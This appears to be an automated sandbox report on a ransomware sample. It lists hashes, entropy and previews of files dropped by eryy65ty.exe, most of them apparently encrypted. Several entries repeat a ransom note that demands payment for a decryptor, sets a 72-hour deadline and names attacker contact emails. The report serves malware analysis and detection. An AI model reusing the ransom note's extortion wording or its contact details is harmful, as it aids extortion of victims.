                                                                                                                                                                SSDEEP:96:+eo8TslGgh2RIaZ5OlzrRF6DmHn8CjYtjhwXvxzno5:+eQlGgAGafOlzrRNHY6vxzno5
                                                                                                                                                                MD5:5AD153C7DB65E41B9F40EA995D38F844
                                                                                                                                                                SHA1:AD5813B5C95AE46D827145C421642F2CC0DB8F52
                                                                                                                                                                SHA-256:94A7F16261E172A8D56E890823EF12D99EB3E043E61B2E1E362F8AC0FD620D52
                                                                                                                                                                SHA-512:10A6061E79BE25C7FAA4AF684157F5383C453F414AE527FDC3438E8E4B47126F4F720AF56FCBD2AF51A691B8F272290BE91FCD303CBCB255B671FBA02731A002
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.+......C ...e..L&..].l..|....B.-........6x..X.N..C.G.j.....5f......e%.5.0.+2..J.Z.BK...4M.P.E...G.`./5.q.m..%.X..5.Z..M.....T...?Q...TxWCY.C.%..&...,..*.T...A.X.o...IOH.5i......0..<..t...ld.~.y.|d7....>....VRNSLW.v.!m.4.u]........$.!.. .....sw....9.C4...._~..oU...Lp.Ez.....{Ay..u.e.]..Y....^...p.Q.H...3...Ar.,4B.xf.1...k....,z#..r...F.[KiN...}.......\b.<V."8b.......r.D......}~.....{C.!A....nH.%....8._.)j.J.U}.4;S.i..o.n.....x..X.....o.rl.o..n.z../......jC...P.....~h...9.;.........Ne.<..v......J...&o....2C..z....U..T...L.r.!..%.A...$.....W-..y.`.O..c......KHI=...y...Ec(.......4.2.V........!...i..W.vH..=...eW........[.p....r.Dl........s...9..*(^..4N.MS)|...+g..W.T..h..X.T:p..{.r_..J )4..g.[8.2...3.B..w...QK+..d,......]..Ix^9.d7.......EJ..[.b.....t..._......G.`...l$.l...k7..X.D`.`F.C..Y?6.1%4.#..5..=..z5.I..=t.r.2_...6....r..<DqM.H.0-=...........uW...#..M...m..Mi....8y.....^.7......[.X..C...d..eK.".j.@..Mk."M..$...o.^..32..).I-..l.&.W.....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):3803
                                                                                                                                                                Entropy (8bit):7.952517080075227
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:6r2y2E57+OujFs5hkSv8J92Lr8uBakA71FdO34y7djpBsPD1F7:mPBuikYTnSJ5/g4Ydjm11
                                                                                                                                                                MD5:3977DA8A6D84474BFED8A6B67BEE1729
                                                                                                                                                                SHA1:558A95E8E5A54D3E6699FB2618EFBB10B7B0DD37
                                                                                                                                                                SHA-256:5729DC6DE74004B91C496AD26564D62BF1C095F309460728A25A2DD975D6071C
                                                                                                                                                                SHA-512:17CFE5D16F6A0234EA703A72A2AE0AE76E3F94EBDADF8B4D0787842144475658FF5308CDCA06AC527F7DA8B991677F6A162861F73CD4BF59A47428E8DD2B696E
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:...n.A~....?.f 6...7h.....*+.Y3..]...8.J.i.Bt..|.,.`7.'....B..Eh..........z..=.2).`.Tx...u...sC...%.*.D..)..N .2..j.......~.b(...D..e......Gf.p\..G.......}c..t<...U.2vg.#..]w.r.....R......;.....?vo0+`.Y2.|H.._<c..9d.WJ"..*.....F.y_....."j.`..2.klKq..'...M......H.F4%...$oL...`.....q.....).b....P.v.Y...7@.....U...q...5.......2O...5.;.R.3.L..[k...Q..5......P..{.+W..].f......;.F..b.........i.b...-.(..l.N..m_......C..fr....R...........Ew.G.?qV+...y..,.a..s.|9.j ......i...rd.]j.....>(..~:|...{4...v.@LRRs..a.C......ofi?./...j..*z.O....~..mL......]i..C....c.U.HMvlC..)...RW.....>S.l..sHU.lc..x.w.2.N..V....L..E.q..0#.}.....,...I.k"...C..-..$.W........n}u.;.]....Zk.`..zO.s..>.......:.7..6....1......^..^.P.._X*.s.&...w........R.R..z.M.p4.7..<.]......K...F+.aU.q......}..Y......;P..@.`P. .|..?...,..`.[......].FVh.m....*.....uA..d.....U.3O:....)......o...e.&e..:...U....$........9...oOTM(<#.D.q..EzJ._./...5k..(.Fcn...|,.yFw.........H.....z..Vt^.jo....._3..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):3803
                                                                                                                                                                Entropy (8bit):7.952517080075227
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:6r2y2E57+OujFs5hkSv8J92Lr8uBakA71FdO34y7djpBsPD1F7:mPBuikYTnSJ5/g4Ydjm11
                                                                                                                                                                MD5:3977DA8A6D84474BFED8A6B67BEE1729
                                                                                                                                                                SHA1:558A95E8E5A54D3E6699FB2618EFBB10B7B0DD37
                                                                                                                                                                SHA-256:5729DC6DE74004B91C496AD26564D62BF1C095F309460728A25A2DD975D6071C
                                                                                                                                                                SHA-512:17CFE5D16F6A0234EA703A72A2AE0AE76E3F94EBDADF8B4D0787842144475658FF5308CDCA06AC527F7DA8B991677F6A162861F73CD4BF59A47428E8DD2B696E
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:...n.A~....?.f 6...7h.....*+.Y3..]...8.J.i.Bt..|.,.`7.'....B..Eh..........z..=.2).`.Tx...u...sC...%.*.D..)..N .2..j.......~.b(...D..e......Gf.p\..G.......}c..t<...U.2vg.#..]w.r.....R......;.....?vo0+`.Y2.|H.._<c..9d.WJ"..*.....F.y_....."j.`..2.klKq..'...M......H.F4%...$oL...`.....q.....).b....P.v.Y...7@.....U...q...5.......2O...5.;.R.3.L..[k...Q..5......P..{.+W..].f......;.F..b.........i.b...-.(..l.N..m_......C..fr....R...........Ew.G.?qV+...y..,.a..s.|9.j ......i...rd.]j.....>(..~:|...{4...v.@LRRs..a.C......ofi?./...j..*z.O....~..mL......]i..C....c.U.HMvlC..)...RW.....>S.l..sHU.lc..x.w.2.N..V....L..E.q..0#.}.....,...I.k"...C..-..$.W........n}u.;.]....Zk.`..zO.s..>.......:.7..6....1......^..^.P.._X*.s.&...w........R.R..z.M.p4.7..<.]......K...F+.aU.q......}..Y......;P..@.`P. .|..?...,..`.[......].FVh.m....*.....uA..d.....U.3O:....)......o...e.&e..:...U....$........9...oOTM(<#.D.q..EzJ._./...5k..(.Fcn...|,.yFw.........H.....z..Vt^.jo....._3..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):3878
                                                                                                                                                                Entropy (8bit):7.955206548045788
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:zhIoMjcxCBAAs3hHu/Rl1bAtIindfScOnQz:qZcxCiAsxOpl1bAtbn0FnQz
                                                                                                                                                                MD5:36711EEBCE579BE5D3312D3C7885C29F
                                                                                                                                                                SHA1:A85C975F186A57DFFE83AEB6B347A39E7B8BD772
                                                                                                                                                                SHA-256:A8F66BA34F3B27192BB84D47D199464C258843C634CB49383A3717CD5EE66DEA
                                                                                                                                                                SHA-512:A2B9B7350606A6EDC1A99159D2DBB8AC96F4FFA39EFCC403240D4285492997D409B1DAE39ABA0A6CE2BAEE24DDDE0B620C4525DF4B9EF050C52E594F411E4EA9
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:B.q.q6.!.q.4..................^.a.S9'.p...6jBV.g@;.......'..)=......ut;{....F'.W.j.Z.cd..x......7.. =.!.i"9..k.!;. w7<.....Z.8.O+...}.FD0m4.2.1.6.D...G..6...{P...!..j.4.N.wX..R..L"V~f.(.2...=....P....C.!..E|mr........Dw#5.8.?}.~..o.@,M...&....i..8&L..ANYX.T.*...mM@&.{j.V....1.$..):.g?...q1.5.M.4......).:..(T4}....o...%8..;....e..^v....\y....Q.2L*..<.W......q......Q..W...F...<!.. ....*....3.4.....e.x.h..*7.l..,P.....zS....+........w.a..}S.]E^..F.W@.S..~C#h.B.X...I..........^...."..b...!.~.M.G?7.....=.......$...._..b..L...Bp.>C7.".>..J...G..G.uts&o......Z9......A..X..i.......2..........i...a.<.,..-.c..a..>R....'....-.....%.wxM...y5..<4.z..$g....3..2...H...U..J.b/R..zT..2....b[..O....*.S.uK...W..S....8..)..:..Z.1.......3.....FeR7.?]^..w..!z#w...Y.0.!..Vt.........>./.......K....c.`.XX."...O..2.7Ff..r.....;...W......L...;:3..s8..2..($....Js........P)..S..Z.Xx,...m... .J..\~.o....rx....2..+l...(4G3_..t...........t.W;C.H.8.,.W....X.<.M.M
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):3878
                                                                                                                                                                Entropy (8bit):7.955206548045788
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:zhIoMjcxCBAAs3hHu/Rl1bAtIindfScOnQz:qZcxCiAsxOpl1bAtbn0FnQz
                                                                                                                                                                MD5:36711EEBCE579BE5D3312D3C7885C29F
                                                                                                                                                                SHA1:A85C975F186A57DFFE83AEB6B347A39E7B8BD772
                                                                                                                                                                SHA-256:A8F66BA34F3B27192BB84D47D199464C258843C634CB49383A3717CD5EE66DEA
                                                                                                                                                                SHA-512:A2B9B7350606A6EDC1A99159D2DBB8AC96F4FFA39EFCC403240D4285492997D409B1DAE39ABA0A6CE2BAEE24DDDE0B620C4525DF4B9EF050C52E594F411E4EA9
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:B.q.q6.!.q.4..................^.a.S9'.p...6jBV.g@;.......'..)=......ut;{....F'.W.j.Z.cd..x......7.. =.!.i"9..k.!;. w7<.....Z.8.O+...}.FD0m4.2.1.6.D...G..6...{P...!..j.4.N.wX..R..L"V~f.(.2...=....P....C.!..E|mr........Dw#5.8.?}.~..o.@,M...&....i..8&L..ANYX.T.*...mM@&.{j.V....1.$..):.g?...q1.5.M.4......).:..(T4}....o...%8..;....e..^v....\y....Q.2L*..<.W......q......Q..W...F...<!.. ....*....3.4.....e.x.h..*7.l..,P.....zS....+........w.a..}S.]E^..F.W@.S..~C#h.B.X...I..........^...."..b...!.~.M.G?7.....=.......$...._..b..L...Bp.>C7.".>..J...G..G.uts&o......Z9......A..X..i.......2..........i...a.<.,..-.c..a..>R....'....-.....%.wxM...y5..<4.z..$g....3..2...H...U..J.b/R..zT..2....b[..O....*.S.uK...W..S....8..)..:..Z.1.......3.....FeR7.?]^..w..!z#w...Y.0.!..Vt.........>./.......K....c.`.XX."...O..2.7Ff..r.....;...W......L...;:3..s8..2..($....Js........P)..S..Z.Xx,...m... .J..\~.o....rx....2..+l...(4G3_..t...........t.W;C.H.8.,.W....X.<.M.M
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):16817
                                                                                                                                                                Entropy (8bit):7.461043359486993
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:384:tfOo1RQPwpsXY9+6W354Nh1J3lZwjIknHNMPLWUfow:NvQ7963NdVSjIknQow
                                                                                                                                                                MD5:54D7DA40EDBD901544D42F9400378651
                                                                                                                                                                SHA1:4D45F3F0AE4C63F7A0DBC5B727AE3C1D474B6366
                                                                                                                                                                SHA-256:49507DCF95091F695A181D9617FD0A805C31E65AAEF572824CC80B1C20C4C631
                                                                                                                                                                SHA-512:0D9440E99A61EA068434AD2E50D4F3AE64BAD5AF1EC14F2D6A9A4321694A8B8CAF802120F45E0B68D1873BA5A25E934009C5C2B670F34751C751F4CBF8B744D6
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:+..K.F..H..-.\.`.u...49....C..5..?.Q8..&E8.....R.Z_2.......\.C..~.q...>.g..{..=........ 6...9.$h|..s.r.}.^..>S....v]....,Q....Eq {;vj6y.'%v.'.....kWckDS.p..8Qj?..b)1....z...........KR.....~...H%.P....F`...b._xl[.r.,...<...lm.>S....si....K<}t.y..F..6xV...%<...}.....d:A}....W....>.R.z.M9...jt..z..*.cr....J'..h..Y....x.d...p..Y...8...}........b|.........H....>.U.8....V.U_!J.*d/sM.......l..E.;.......5.....C..z......np.....2hv.... F....>.../..'Y.6d.JV!...a9....u.'........ ..X.k..<...o.v...0Wx\.`N..Z..U......l..x~U...o.|[~..!.....B2.../.......?.H$k.n.9.L..J1g..-......q.....}0..s.......\O.T.K=Ez....7R.<..DW.._.5&.g......&R.v.....;&p...ZfF1.....,....!.W|.iT.u.C.4.-...Q......*..wT...k......3^\;.y..z..M0B.Q.s~...pYp.jHOW.S.c...I..m..t`9.:..Y..k.m.Ls...'........a+.......X.j...m.43.Tn.g]^.Sk..A..I...(.(.......d.i.Wp.&...XhL...).../....!..t.T......% g..0y.X....$!<.s...\....X........vM..h.....!D/.S3k}..Cy...).$.....@2..d.}!..AD........1..Kfr..]*..X..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):16817
                                                                                                                                                                Entropy (8bit):7.461043359486993
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:384:tfOo1RQPwpsXY9+6W354Nh1J3lZwjIknHNMPLWUfow:NvQ7963NdVSjIknQow
                                                                                                                                                                MD5:54D7DA40EDBD901544D42F9400378651
                                                                                                                                                                SHA1:4D45F3F0AE4C63F7A0DBC5B727AE3C1D474B6366
                                                                                                                                                                SHA-256:49507DCF95091F695A181D9617FD0A805C31E65AAEF572824CC80B1C20C4C631
                                                                                                                                                                SHA-512:0D9440E99A61EA068434AD2E50D4F3AE64BAD5AF1EC14F2D6A9A4321694A8B8CAF802120F45E0B68D1873BA5A25E934009C5C2B670F34751C751F4CBF8B744D6
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:+..K.F..H..-.\.`.u...49....C..5..?.Q8..&E8.....R.Z_2.......\.C..~.q...>.g..{..=........ 6...9.$h|..s.r.}.^..>S....v]....,Q....Eq {;vj6y.'%v.'.....kWckDS.p..8Qj?..b)1....z...........KR.....~...H%.P....F`...b._xl[.r.,...<...lm.>S....si....K<}t.y..F..6xV...%<...}.....d:A}....W....>.R.z.M9...jt..z..*.cr....J'..h..Y....x.d...p..Y...8...}........b|.........H....>.U.8....V.U_!J.*d/sM.......l..E.;.......5.....C..z......np.....2hv.... F....>.../..'Y.6d.JV!...a9....u.'........ ..X.k..<...o.v...0Wx\.`N..Z..U......l..x~U...o.|[~..!.....B2.../.......?.H$k.n.9.L..J1g..-......q.....}0..s.......\O.T.K=Ez....7R.<..DW.._.5&.g......&R.v.....;&p...ZfF1.....,....!.W|.iT.u.C.4.-...Q......*..wT...k......3^\;.y..z..M0B.Q.s~...pYp.jHOW.S.c...I..m..t`9.:..Y..k.m.Ls...'........a+.......X.j...m.43.Tn.g]^.Sk..A..I...(.(.......d.i.Wp.&...XhL...).../....!..t.T......% g..0y.X....$!<.s...\....X........vM..h.....!D/.S3k}..Cy...).$.....@2..d.}!..AD........1..Kfr..]*..X..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):16821
                                                                                                                                                                Entropy (8bit):7.454346858393288
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:384:C2/z5wubfdspsXY9+6W354Nh1J3lZwjIknwNMPWlouf:l97R963NdVSjIknkoE
                                                                                                                                                                MD5:21EF2F498B14AADC348B72BD53C3AE26
                                                                                                                                                                SHA1:FD5A97BAEFBB09A8A869C1FC8AD4636C0F0BED72
                                                                                                                                                                SHA-256:CF8CD0DC5D41DB7D7C763BE1095F6A410BECE0B6A994A6BDEF43F63387FCB78E
                                                                                                                                                                SHA-512:47BD54AFFD8F199A1A295DB1C9C2CF00979BED071CA316D7C6F7C7153B5AF7EA639F744741500E6CA4E7C1C5E581F32F60814A31219FFD8A75983582B29B4F5A
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:......O`].....0..I..c?(.}.u..;....yzD<.@^."c.....f......9....}4i...J|.."q.Th.1t.;..w./.N.&...h..[....($....<.....j.!%O....N..o....q6}.m.u..9...z../..gXP1...t.......u.6R+.l..[)z^.88H.F.ZP.E........}.|.}aG..r....a..u.+.|E%..E.7.-.l.,.[..[..~'...Uc..V..B..%...%....,...[v....5E.U.6.....2sf`...!.........P"......9.....(*.*?.I....7..).....vG..h..R.l_c...0.E...z..9.....\N;:s.T..X..*..O.%.;0....D...._g.Qk.bq... .C.q..2..d.o=.v.....v.x(5......Q9&......RP,."...O|.9....~.OA....a...]}43...._..Y...h....b.....B...q...EP.....I\....I.%(t...K.EG..bM....(..#.t........t`j..z.M........@.Q.c..y..x,X.:.P.n...^.3.....&....gr...V..Ii..qG.+[.z.>de.T.D....7.S.o.~t.0l.w.|.'............\`....h..7........U}..{..-aGzS..ZF<7.B.S..J..F@-w..o.{l...x........5....;..R..<..e..E..,~7..Ck.a..O.m\..s..3=,.0"...=.V...D..o..=.mm........t...X..n..Sq...e.%.\...b....n"..xA.....F..c....3..D"h..."....Q.d..?9.J..'T..D.QG"....fI.....6.gG....J#l=.#../.r...G...*.N.1..U}..|.TN....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):16821
                                                                                                                                                                Entropy (8bit):7.454346858393288
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:384:C2/z5wubfdspsXY9+6W354Nh1J3lZwjIknwNMPWlouf:l97R963NdVSjIknkoE
                                                                                                                                                                MD5:21EF2F498B14AADC348B72BD53C3AE26
                                                                                                                                                                SHA1:FD5A97BAEFBB09A8A869C1FC8AD4636C0F0BED72
                                                                                                                                                                SHA-256:CF8CD0DC5D41DB7D7C763BE1095F6A410BECE0B6A994A6BDEF43F63387FCB78E
                                                                                                                                                                SHA-512:47BD54AFFD8F199A1A295DB1C9C2CF00979BED071CA316D7C6F7C7153B5AF7EA639F744741500E6CA4E7C1C5E581F32F60814A31219FFD8A75983582B29B4F5A
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:......O`].....0..I..c?(.}.u..;....yzD<.@^."c.....f......9....}4i...J|.."q.Th.1t.;..w./.N.&...h..[....($....<.....j.!%O....N..o....q6}.m.u..9...z../..gXP1...t.......u.6R+.l..[)z^.88H.F.ZP.E........}.|.}aG..r....a..u.+.|E%..E.7.-.l.,.[..[..~'...Uc..V..B..%...%....,...[v....5E.U.6.....2sf`...!.........P"......9.....(*.*?.I....7..).....vG..h..R.l_c...0.E...z..9.....\N;:s.T..X..*..O.%.;0....D...._g.Qk.bq... .C.q..2..d.o=.v.....v.x(5......Q9&......RP,."...O|.9....~.OA....a...]}43...._..Y...h....b.....B...q...EP.....I\....I.%(t...K.EG..bM....(..#.t........t`j..z.M........@.Q.c..y..x,X.:.P.n...^.3.....&....gr...V..Ii..qG.+[.z.>de.T.D....7.S.o.~t.0l.w.|.'............\`....h..7........U}..{..-aGzS..ZF<7.B.S..J..F@-w..o.{l...x........5....;..R..<..e..E..,~7..Ck.a..O.m\..s..3=,.0"...=.V...D..o..=.mm........t...X..n..Sq...e.%.\...b....n"..xA.....F..c....3..D"h..."....Q.d..?9.J..'T..D.QG"....fI.....6.gG....J#l=.#../.r...G...*.N.1..U}..|.TN....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):710
                                                                                                                                                                Entropy (8bit):7.750430706689247
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:2zrDQlxaQgKOR6He+LccLJP/WAI7AzRJqKVBq2MaVx3QNfIVAXK4TIsrxjW6Psqi:aIjense+FnWBSRVBq2MIANfHXKyxjMqi
                                                                                                                                                                MD5:B5817617BB28028323DEA2AD9D6B107F
                                                                                                                                                                SHA1:616D8B36E74DD469D873BB9882615DD0972F153A
                                                                                                                                                                SHA-256:8C8663A1A83037A09EA7EB5B16CF655C817A543A015D7ABD701B36A4D835B7B6
                                                                                                                                                                SHA-512:E6E8BBB45CFA249F8C2E045555ABF1DE0FFF951603A76FE4C87C792DDE4019EC45897DA65B56A5DF68F333847FD5077AB5043BD8C10AF0DAA5FD4142D9EF8B2E
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:=..v.{p.\#.7...i..CB.C~.B\.G...$M.mU..w.Z..5.RjT2^q.&.....e?...;.|Q..U...9.cn..D.KX.?eM:"..v=.cc.E.A.m..`[.......2o7........@....).4JX.../.w..A.W.acV.y..G..S..G..W.e.M..s.B.z.I...A..z.Y....Fj.(R...,..fj{..`.5vb...W....>.,...l.L.......x...r..!..!.|.Y.o..v...^.K......y...N..p..@`7..k.f. C.7.;<....{....@.80.Z.p...).....A...4.ID.......j..k...?v...........[.t.w+...;%...v......A.U.4.B.......*-...|.x|....019c43f6ba"}Z..........w....O....j.$vF..G."X..Ni...Y..]`.(@B..)W.....*.......>D.rI..u2.2....F.f,...........\....vG.x.?....*..+[.U...6fV........w..*.W<.N5.>+...!.Y...%..O..TE*I{.m^..0a...v$=.+YH.a.....O{.V..'.pq......+.l!...t.d83...u..)...5[..6...O{\.kg..5.0..0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):710
                                                                                                                                                                Entropy (8bit):7.750430706689247
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:2zrDQlxaQgKOR6He+LccLJP/WAI7AzRJqKVBq2MaVx3QNfIVAXK4TIsrxjW6Psqi:aIjense+FnWBSRVBq2MIANfHXKyxjMqi
                                                                                                                                                                MD5:B5817617BB28028323DEA2AD9D6B107F
                                                                                                                                                                SHA1:616D8B36E74DD469D873BB9882615DD0972F153A
                                                                                                                                                                SHA-256:8C8663A1A83037A09EA7EB5B16CF655C817A543A015D7ABD701B36A4D835B7B6
                                                                                                                                                                SHA-512:E6E8BBB45CFA249F8C2E045555ABF1DE0FFF951603A76FE4C87C792DDE4019EC45897DA65B56A5DF68F333847FD5077AB5043BD8C10AF0DAA5FD4142D9EF8B2E
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:=..v.{p.\#.7...i..CB.C~.B\.G...$M.mU..w.Z..5.RjT2^q.&.....e?...;.|Q..U...9.cn..D.KX.?eM:"..v=.cc.E.A.m..`[.......2o7........@....).4JX.../.w..A.W.acV.y..G..S..G..W.e.M..s.B.z.I...A..z.Y....Fj.(R...,..fj{..`.5vb...W....>.,...l.L.......x...r..!..!.|.Y.o..v...^.K......y...N..p..@`7..k.f. C.7.;<....{....@.80.Z.p...).....A...4.ID.......j..k...?v...........[.t.w+...;%...v......A.U.4.B.......*-...|.x|....019c43f6ba"}Z..........w....O....j.$vF..G."X..Ni...Y..]`.(@B..)W.....*.......>D.rI..u2.2....F.f,...........\....vG.x.?....*..+[.U...6fV........w..*.W<.N5.>+...!.Y...%..O..TE*I{.m^..0a...v$=.+YH.a.....O{.V..'.pq......+.l!...t.d83...u..)...5[..6...O{\.kg..5.0..0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4635
                                                                                                                                                                Entropy (8bit):7.942814515338859
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:GTtLaXkVCuOflQefnd0zreisKmsR0d+XMOBcPraBWcpNGi5Jdu:G4UZOfl5SOipmdd+MP2BWcmuJdu
                                                                                                                                                                MD5:E6EB0BF66763662DB7D89D7238F50244
                                                                                                                                                                SHA1:6CCA9A7EAA350CA203ABD654C2BFE1A672A0DE32
                                                                                                                                                                SHA-256:75847FC6CB69555A96D44D9B4964CFA01DC01B3DD556E400C1CD4DC046B48B78
